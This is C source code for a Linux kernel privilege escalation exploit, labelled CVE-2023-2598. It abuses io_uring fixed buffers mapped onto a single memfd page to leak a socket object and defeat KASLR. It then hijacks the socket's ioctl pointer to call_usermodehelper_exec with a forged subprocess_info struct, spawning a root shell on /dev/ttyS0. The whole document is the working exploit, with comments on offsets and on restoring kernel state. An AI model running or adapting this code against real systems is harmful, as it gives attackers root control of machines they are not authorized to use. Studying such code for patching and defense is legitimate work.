#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define target_tty_dev "/dev/ttyS0" #define PAGE_SIZE 0x1000 #define QD 4 #define sock_def_readable 0xb503f0 #define sk_data_ready_off 680 #define TCP_OFFSET 1400 #define IOCTL_OFFSET 40 #define call_usermodehelper_exec 0xa79e0 #define call_usermodehelper_exec_work 0xa7da0 #define PROTO_SIZE 432 // offsets into subprocess_info #define subprocess_workstruct_data 0 #define subprocess_workstruct_entry_next 8 #define subprocess_workstruct_entry_prev 16 #define subprocess_workstruct_func 24 #define subprocess_path 40 #define subprocess_argv 48 #define subprocess_envp 56 #define subprocess_init 72 #define subprocess_cleanup 80 #define __ALIGN_MASK(x,mask) (((x)+(mask))&~(mask)) #define ALIGN(x,a) __ALIGN_MASK(x,(typeof(x))(a)-1) // important for these two values to be correct! #define L1_CACHE_SHIFT 6 #define sk_buff_size 224 #define SOCK_MIN_SNDBUF 2 * (2048 + ALIGN(sk_buff_size, 1 << L1_CACHE_SHIFT)) int setup_memfd_page(char* name, int real_pages){ /* sets up a memfd and calls fallocate */ int memfd = memfd_create(name, MFD_CLOEXEC); // we allocate the needed memory in memfd fallocate(memfd, 0, 0, real_pages * PAGE_SIZE); return memfd; } void* vmap_shallow_pages(int nr_pages, int memfd){ /* maps nr_pages consecutive virtual pages to a single physical one */ uint64_t start = 0x4247000000; for(int i = 0; i < nr_pages; i++){ if(mmap(start+i*PAGE_SIZE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, memfd, 0) < 0){ perror("Failed to mmap a page"); exit(0); } } return (void*) start; } void *dump_buffer(void *buffer, int size){ for(int i=0; i<(size/16); i++){ // split to 16-byte (2 word) "lines" uint64_t **at; at = buffer + i*16; // non-zero mode if(*at == 0x0 && *(at+1) == 0x0) continue; printf("0x%llx: 0x%llx 0x%llx\n", at, *at, *(at+1)); exit(0); } } // returns offset at which found; assumes buffer is 8 bytes aligned uint64_t seek_value(void *buffer, int size, uint64_t value){ for(int off = 0; off < size; off = off + 8){ // split to 16-byte (2 word) "lines" uint64_t **at; at = buffer + off; if(*at == value) return off; } return -1; } void exit_err(char *str){ puts(str); exit(1); } int main(){ printf("[*] CVE-2023-2598 Exploit by anatomic (@YordanStoychev)\n"); cpu_set_t set; CPU_ZERO(&set); CPU_SET(sched_getcpu(), &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) { perror("sched_setaffinity"); exit(EXIT_FAILURE); } // setup io_uring stuff struct io_uring ring; int i, fd, ret, pending, done; struct io_uring_sqe *sqe; struct io_uring_cqe *cqe; struct iovec *iovecs; uint64_t kaslr_base; ret = io_uring_queue_init(QD, &ring, 0); if (ret < 0) { fprintf(stderr, "queue_init: %s\n", strerror(-ret)); return 1; } struct rlimit max_files; getrlimit(RLIMIT_NOFILE, &max_files); max_files.rlim_cur = max_files.rlim_max; setrlimit(RLIMIT_NOFILE, &max_files); int limit = max_files.rlim_cur - 20; int nr_memfds = limit / 2; int nr_sockets = limit - nr_memfds; int *memfds = calloc(nr_memfds, sizeof(*memfds)); int nr_maps = 65000; // good number uint64_t egg = 0xdeadbeefdeadbeef; int *sockets = calloc(nr_sockets, sizeof(*sockets)); for (int i = 0; i < nr_sockets; i++) { if ((sockets[i] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit_err("socket creating failed"); if (setsockopt(sockets[i], SOL_SOCKET, SO_MAX_PACING_RATE, &egg, sizeof(uint64_t)) < 0) exit_err("setting pacing rate failed"); int j = sockets[i] + SOCK_MIN_SNDBUF; // file descriptor of the socket + 4608 (because min(j, 4608) will be performed to select the value) if (setsockopt(sockets[i], SOL_SOCKET, SO_SNDBUF, &j, sizeof(int)) < 0) exit_err("failed to set SO_SNDBUF"); } for(int i = 0; i < nr_memfds; i++){ memfds[i] = setup_memfd_page("memfd_x", 1); } int block_size = 500; // leaking in blocks of 500 pages struct iovec iovec; int receiver_fd = setup_memfd_page("receiver", block_size); void *receiver_buffer = mmap(0, block_size*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, receiver_fd, 0); int success = 0; for(int i = 0; i < nr_memfds && success == 0; i = i + 1){ void *buffer = vmap_shallow_pages(nr_maps, memfds[i]); iovec.iov_base = buffer; iovec.iov_len = PAGE_SIZE * nr_maps; ret = io_uring_register_buffers(&ring, &iovec, 1); // walk through the virtual pages block_size pages at a time // ATTENTION: in this loop you will observe sacrilegious use of asserts - proceed with caution! for(int v_off = 0; v_off < (nr_maps - block_size); v_off = v_off + block_size){ printf("memfd: %d, page: %d at virt_addr: %p, reading %d bytes\n", i, v_off, iovec.iov_base + v_off, iovec.iov_len); if(ret < 0){ printf("Error in registering the buffers\n"); puts(strerror(-ret)); return 1; } // Lets leak stuff sqe = io_uring_get_sqe(&ring); // printf("Receiver buffer: %p\n", receiver_buffer); io_uring_prep_write_fixed(sqe, receiver_fd, buffer + v_off * PAGE_SIZE, block_size * PAGE_SIZE, 0, 0); ret = io_uring_submit(&ring); if(ret < 0){ printf("io_uring_submit: %s", strerror(-ret)); exit(0); } io_uring_wait_cqe(&ring, &cqe); io_uring_cqe_seen(&ring, cqe); // puts("Write was done."); // dump_buffer(receiver_buffer + PAGE_SIZE, PAGE_SIZE*(block_size - 1)); uint64_t egg_off = seek_value(receiver_buffer, PAGE_SIZE * block_size, egg); if(egg_off == -1) // wasn't found here continue; // both sk_pacing_rate and sk_max_pacing_rate have been set to our egg // we need to verify that the values at both offsets match to be sure we are at the right location // in physmap there will be other places holding this value that are not the struct sock itself // we might also be at the offset of the sk_max_pacing_rate when we are seeking sk_pacing_rate if(*(uint64_t*) (receiver_buffer + egg_off) != *(uint64_t*) (receiver_buffer + egg_off + 8)) continue; uint64_t sock_off = egg_off - 456; printf("Found value 0x%llx at offset 0x%llx\n", egg, egg_off); printf("Socket object starts at offset 0x%llx\n", sock_off); uint64_t kaslr_leak; kaslr_leak = *(uint64_t*) (receiver_buffer + sock_off + sk_data_ready_off); printf("kaslr_leak: 0x%llx\n", kaslr_leak); kaslr_base = kaslr_leak - sock_def_readable; printf("kaslr_base: 0x%llx\n", kaslr_base); // get the ID of the socket we leaked int id = *(int*)(receiver_buffer + sock_off + 332) / 2 - SOCK_MIN_SNDBUF; printf("found socket is socket number %d\n", id); // now get the pointer to the object uint64_t obj_addr; obj_addr = *(uint64_t*)(receiver_buffer + sock_off + 192) - 192; // (value in sk_error_queue.next) - (offset of sk_error_queue_next) printf("our struct sock object starts at 0x%llx\n", obj_addr); // Before we start messing with the object we first have to copy it so we can restore it later... // if we don't restore we will panic the kernel int sz_tcp_sock = 2208; void *backup = malloc(sz_tcp_sock); memcpy(backup, receiver_buffer + sock_off, sz_tcp_sock); // point sock.__sk_common.skc_prot to our fake proto structure // we will set up our proto structure where our tcp object de-facto starts @1400 from the start of the sock object uint64_t proto_addr = obj_addr + TCP_OFFSET; // address of our proto structure printf("fake proto structure set up at 0x%llx\n", proto_addr); // uint64_t proto_addr = 0xdeadbeef; memcpy(receiver_buffer, &proto_addr, 8); sqe = io_uring_get_sqe(&ring); uint64_t m_sock_addr = buffer + v_off * PAGE_SIZE + sock_off; // the offset in the mapped memory io_uring_prep_read_fixed(sqe, receiver_fd, m_sock_addr + 40, 8, 0, 0); ret = io_uring_submit(&ring); assert(ret >= 0); io_uring_wait_cqe(&ring, &cqe); io_uring_cqe_seen(&ring, cqe); // now we setup our proto structure and overwrite the ioctl value // uint64_t ioctl_val = 0x1337beef1337; uint64_t ioctl_val = kaslr_base + call_usermodehelper_exec; uint64_t m_proto = m_sock_addr + TCP_OFFSET; uint64_t m_proto_ioctl = m_proto + IOCTL_OFFSET; memcpy(receiver_buffer, &ioctl_val, 8); // we copy the value we want into sock->proto.ioctl sqe = io_uring_get_sqe(&ring); io_uring_prep_read_fixed(sqe, receiver_fd, m_proto_ioctl, 8, 0, 0); ret = io_uring_submit(&ring); assert(ret >= 0); io_uring_wait_cqe(&ring, &cqe); io_uring_cqe_seen(&ring, cqe); // lets setup the strings we need // the string of the path must be written at the start of our proto structure as we should NOT overwrite subprocess_info->path // it must remain the same because subprocess_info->path and proto->ioctl overlap // path at start of proto char *path = "/bin/sh"; memcpy(receiver_buffer, path, strlen(path) + 1); // we copy the path into the buffer sqe = io_uring_get_sqe(&ring); io_uring_prep_read_fixed(sqe, receiver_fd, m_proto, strlen(path) + 1, 0, 0); ret = io_uring_submit(&ring); assert(ret >= 0); io_uring_wait_cqe(&ring, &cqe); io_uring_cqe_seen(&ring, cqe); // we are going to put the other strings after the end of our proto structure as there we will have for sure enough space. // right after the strings we will put the array of pointers argv char *arg0 = ""; // whatever char *arg1 = "-c"; char *arg2 = malloc(128); sprintf(arg2, "/bin/sh &>%s <%s", target_tty_dev, target_tty_dev); uint64_t arg0_addr = proto_addr + PROTO_SIZE; uint64_t arg1_addr = arg0_addr + strlen(arg0) + 1; uint64_t arg2_addr = arg1_addr + strlen(arg1) + 1; uint64_t argv[3]; argv[0] = arg0_addr; argv[1] = arg1_addr; argv[2] = arg2_addr; memcpy(receiver_buffer, arg0, strlen(arg0)+1); memcpy(receiver_buffer + strlen(arg0) + 1, arg1, strlen(arg1)+1); memcpy(receiver_buffer + strlen(arg0) + strlen(arg1) + 2 , arg2, strlen(arg2)+1); uint64_t argv_off = arg2_addr - arg0_addr + strlen(arg2) + 1; // offset relative to the end of the proto structure argv_off = argv_off + 7 & ~7; // aligning it 8 bytes uint64_t argv_addr = proto_addr + PROTO_SIZE + argv_off; memcpy(receiver_buffer + argv_off, &argv, sizeof(argv)); sqe = io_uring_get_sqe(&ring); io_uring_prep_read_fixed(sqe, receiver_fd, m_proto + PROTO_SIZE, argv_off + sizeof(argv), 0, 0); ret = io_uring_submit(&ring); assert(ret >= 0); io_uring_wait_cqe(&ring, &cqe); io_uring_cqe_seen(&ring, cqe); printf("args at 0x%llx\n", arg0_addr); printf("argv at 0x%llx\n", argv_addr); // we are going to setup a subprocess_info structure at the beginning of the struct sock // don't forget subprocess_info->path must remain the same!! we will instead write the path into the beginning of the proto struct // we need to setup the following members: work_struct.data, work_struct.entry.next, work_struct.entry.prev, work_struct.func // also argv and envp uint64_t subprocess_info[11]; subprocess_info[0] = 0; // work_struct.data subprocess_info[1] = obj_addr + subprocess_workstruct_entry_next; // work_struct.entry.next subprocess_info[2] = obj_addr + subprocess_workstruct_entry_next; // work_struct.entry.prev subprocess_info[3] = kaslr_base + call_usermodehelper_exec_work; subprocess_info[5] = proto_addr; // both proto_addr and path - important to keep it the same as it was subprocess_info[6] = argv_addr; // argv subprocess_info[7] = 0; // envp subprocess_info[10] = 0; // init subprocess_info[11] = 0; // cleanup memcpy(receiver_buffer, &subprocess_info, sizeof(subprocess_info)); sqe = io_uring_get_sqe(&ring); io_uring_prep_read_fixed(sqe, receiver_fd, m_sock_addr, sizeof(subprocess_info), 0, 0); ret = io_uring_submit(&ring); assert(ret >= 0); io_uring_wait_cqe(&ring, &cqe); io_uring_cqe_seen(&ring, cqe); printf("subprocess_info set up at beginning of sock at 0x%llx\n", obj_addr); printf("calling ioctl... \n"); ioctl(id, 1337); // call the ioctl and trigger the exploit // time to restore back the socket so we don't panic the kernel memcpy(receiver_buffer, backup, sz_tcp_sock); sqe = io_uring_get_sqe(&ring); io_uring_prep_read_fixed(sqe, receiver_fd, m_sock_addr, sz_tcp_sock, 0, 0); ret = io_uring_submit(&ring); assert(ret >= 0); io_uring_wait_cqe(&ring, &cqe); io_uring_cqe_seen(&ring, cqe); success = 1; break; // while(1); // exit(1); } io_uring_unregister_buffers(&ring); munmap(buffer, nr_maps * PAGE_SIZE); } // close the sockets and memfds as we will loop and the program won't exit normally // so the sockets and memfd will remain in memory for (int i = 0; i < nr_sockets; i++) { close(sockets[i]); } for(int i = 0; i < nr_memfds; i++){ close(memfds[i]); } munmap(receiver_buffer, block_size * PAGE_SIZE); close(receiver_fd); while(true) sleep(60); return 0; }